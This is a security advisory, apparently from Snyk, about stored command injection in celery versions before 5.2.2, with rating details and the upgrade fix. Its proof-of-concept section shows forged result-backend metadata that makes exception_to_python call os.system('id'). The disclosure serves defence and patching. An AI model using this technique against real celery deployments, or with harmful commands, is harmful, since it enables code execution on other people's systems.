Stored Command Injection Affecting celery package, versions [,5.2.2)


0.0
medium
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Privileges Required

    High

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-PYTHON-CELERY-2314953

  • published

    29 Dec 2021

  • disclosed

    9 Dec 2021

  • credit

    Calum Hutton from Snyk Research Team

How to fix?

Upgrade celery to version 5.2.2 or higher.

Overview

Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.

PoC

Example of modified metadata as stored in the result stores:

'status': 'FAILURE',
'result': json.dumps({
  'exc_module': 'os',
  'exc_type': 'system',
  'exc_message': 'id'
  })
}

Reproduction steps in a Python shell:

from celery.backends.base import Backend
from celery import Celery
b = Backend(Celery())
exc = {'exc_module':'os',  'exc_type':'system', 'exc_message':'id'}
b.exception_to_python(exc)

The result would be an output of os.system('id').

References